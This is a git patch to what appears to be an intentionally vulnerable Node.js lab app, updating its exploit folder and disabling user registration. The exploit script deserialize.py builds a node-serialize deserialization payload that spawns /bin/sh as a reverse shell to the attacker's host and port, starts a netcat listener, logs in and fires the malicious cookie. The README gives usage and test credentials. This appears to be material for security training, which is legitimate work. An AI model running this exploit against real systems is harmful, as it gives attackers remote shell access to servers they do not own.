From b5c842ae04e1958fe01cd284d4d2984bf758453b Mon Sep 17 00:00:00 2001
From: William Moody <e11736947@student.tuwien.ac.at>
Date: Sun, 21 Mar 2021 21:25:09 +0100
Subject: [PATCH] Improved deserialization attack

---
 .exploit/README.md      |  8 +++-----
 .exploit/deserialize.py | 40 +++++++++++++++++++++++++++++++++++-----
 app.js                  | 17 ++++++++++-------
 3 files changed, 48 insertions(+), 17 deletions(-)

diff --git a/.exploit/README.md b/.exploit/README.md
index e994569..394a867 100644
--- a/.exploit/README.md
+++ b/.exploit/README.md
@@ -13,8 +13,6 @@ The draft feature uses a vulnerable node package (`node-serialize`), which is vu
 
 - PoC: `deserialize.py`
 - Usage: 
-  1. `python3 deserialize.py attackip attackerport` and copy the output
-  2. Set up a netcat listener locally: `nc -nvlp attackerport`
-  3. Create / edit the `draft` cookie, set the contents the the output we just copied (**Make sure there are no trailing whitespace characters**)
-  4. Reload the home page / Log in
-  5. The site will deserialize the cookie and set the message input box to the contents of `.msg`, subsequently running our reverse shell at the same time
\ No newline at end of file
+`python3 deserialize.py target lhost lport username password`
+
+You need plaintext credentials for this attack, which you can get by following the instructions under `Blind NoSQL Injection (Auth Bypass)`. For testing purposes, you may use: `bmdyy:bmdyy`
\ No newline at end of file
diff --git a/.exploit/deserialize.py b/.exploit/deserialize.py
index c5c317a..a26be66 100755
--- a/.exploit/deserialize.py
+++ b/.exploit/deserialize.py
@@ -1,14 +1,20 @@
 #!/usr/bin/python3
+import subprocess
+import requests
 import base64
 import sys
 
-if len(sys.argv) != 3:
-	print('usage: %s lhost lport'%sys.argv[0])
+if len(sys.argv) != 6:
+	print('usage: %s target lhost lport username password'%sys.argv[0])
 	sys.exit(-1)
 
-lhost = sys.argv[1]
-lport = sys.argv[2]
+target = sys.argv[1]
+lhost  = sys.argv[2]
+lport  = sys.argv[3]
+user   = sys.argv[4]
+passwd = sys.argv[5]
 
+# generate the evil cookie
 payload = b'{"msg":"_$$ND_FUNC$$_function(){'
 payload += b'var net = require(\'net\'),cp = require(\'child_process\'),'
 payload += b'sh = cp.spawn(\'/bin/sh\',[]); var client= new net.Socket();'
@@ -18,4 +24,28 @@
 payload += b'});return /rce/'
 payload += b'}()"}'
 
-print(base64.b64encode(payload).decode('utf-8'))
+draft = base64.b64encode(payload).decode('utf-8')
+c = {'draft':draft}
+print("(+) Generated cookie!")
+
+# open a netcat listener
+print("(*) Starting listener...")
+subprocess.Popen(["nc","-nvlp",lport])
+
+# log in, and get the home page to trigger to unserialize call
+# takes a couple of times sometimes. not quite sure why
+s = requests.Session()
+logged_in = False
+for try_nr in range(3):
+	print("(*) Logging in... (attempt #%d)" % try_nr)
+	d = {"username":user,"password":passwd}
+	r = s.post('http://%s/auth'%target,data=d,allow_redirects=False)
+	r = s.get('http://%s/'%target,cookies=c)
+	if "Logged in as" in r.text:
+		print("(+) Logged in!")
+		break
+	else:
+		print("(-) Failed to log in...")
+
+while True:
+	pass
diff --git a/app.js b/app.js
index 7fd16b5..89faa75 100644
--- a/app.js
+++ b/app.js
@@ -122,13 +122,16 @@ app.post('/register', function(req, res) {
                         throw err;
                     }
                     if (result == null) {
-                        var sha256_password = crypto.createHash('sha256').update(password).digest('hex');
-                        dbo.collection("users").insertOne({
-                            username:username,
-                            password:sha256_password
-                        },function() {
-                            res.redirect('/');
-                        });
+                        // TODO: Actually insert new users
+                        
+                        // var sha256_password = crypto.createHash('sha256').update(password).digest('hex');
+                        // dbo.collection("users").insertOne({
+                        //     username:username,
+                        //     password:sha256_password
+                        // },function() {
+                        //     res.redirect('/');
+                        // });
+                        res.redirect('/');
                     } else {
                         res.render('pages/register', {session: req.session, error:"User already exists"});
                     }
